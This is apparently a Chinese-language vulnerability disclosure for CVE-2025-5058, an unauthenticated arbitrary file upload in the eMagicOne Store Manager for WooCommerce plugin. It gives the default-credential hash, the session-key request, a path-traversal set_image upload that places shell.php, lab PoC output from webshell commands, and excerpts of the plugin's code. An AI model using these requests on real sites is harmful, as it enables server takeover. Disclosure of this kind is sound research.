eMagicOne Store Manager for WooCommerce <= 1.2.5 - 未经认证的任意文件上传（通过 set_image 任务）

eMagicOne Store Manager for WooCommerce 插件暴露了一个远程管理协议端点（?connector=bridge），允许向服务器上传文件。其认证机制依赖于一组默认凭据（login=1，password=1）和一个会话密钥系统。如果默认凭据未被更改，攻击者可轻松完成认证并获取会话密钥，随后通过 set_image 任务将任意文件（包括 PHP webshell）上传至 WordPress 根目录或任何可写目录。

复现

提供了 PoC 文件 CVE-2025-5058.py，演示攻击者上传名为 shell.php 的 webshell。

python CVE-2025-5058.py https://lab1.hacker      

[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"03877e9c7c21be0a8022d0d9397bb5c4d153a7cd51d2ddc2c398465160747f24"}
[+] Got session key: 03877e9c7c21be0a8022d0d9397bb5c4d153a7cd51d2ddc2c398465160747f24
[*] Uploading file via set_image...
[*] Upload response: <br />
<b>Warning</b>:  Trying to access array offset on false in <b>/home/vagrant/research/Lab1/wp-content/plugins/store-manager-connector/classes/class-emosmcwoocommerceoverrider.php</b> on line <b>324</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on false in <b>/home/vagrant/research/Lab1/wp-content/plugins/store-manager-connector/classes/class-emosmcwoocommerceoverrider.php</b> on line <b>325</b><br />
{"response_code":"19","message":"Unable to resize one or more of your pictures"}
[*] Executing Web Shell Commands...
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 82708sec preferred_lft 82708sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 85990sec preferred_lft 13990sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:0a:f0:30:8c brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

漏洞流程

默认凭据与哈希计算

在插件激活时，smconnector.php 中设置了以下常量：

define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );

用于认证的默认哈希值计算方式为：

'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),

结果： 默认哈希值为 md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b。

会话密钥获取

通过向桥接端点发送包含哈希值和任务（例如 get_version）的 POST 请求来获取会话密钥：

POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version

相关代码：
classes/class-emosmconnectorcommon.php（约第 441-525 行）：

private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... session key validation ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... error ...
        }
        $key = $this->generate_session_key( $hash );
        // ... return session key ...
    }
}

会话密钥存储

会话密钥存储在 wp_smconnector_session_keys 表中：

private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' + self::TABLE_SESSION_KEYS
        + "` (`session_key`, `date_added`, `last_activity`) VALUES ('" + $this->shop_cart->p_sql( $key ) + "', '"
        + $date + "', '" + $date + "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}

任意文件上传

拥有有效会话密钥后，攻击者可以利用 set_image 任务上传文件，通过滥用参数写入任意文件：

POST /?connector=bridge
Content-Type: multipart/form-data

task=set_image&entity_type=product&image_id=../../shell.php&key=<session_key>
[email protected];type=text/plain

相关代码：
classes/class-emosmconnectorcommon.php（约第 2115+ 行）：

private function set_image() {
    // ... parameter checks ...
    if ( ! $this->shop_cart->set_image( $entity_type, $image_id, self::UPLOAD_FILE_NAME, $type ) ) {
        $this->generate_error( $this->br_errors['upload_image_error'] );
    }
}

classes/class-emosmcwoocommerceoverrider.php（约第 272+ 行）：

public function set_image( $entity_type, $image_id, $img, $type ) {
    // ...
    $destination_path = $this->get_shop_root_dir() . "$entity_type/$image_id";
    // ...
    $result = move_uploaded_file( $tmp_name, $destination_path );
    // ...
}

结果： 文件被写入 WordPress 根目录（或任何通过 image_id 中的路径遍历指定的目录）。

CVE-2025-5058

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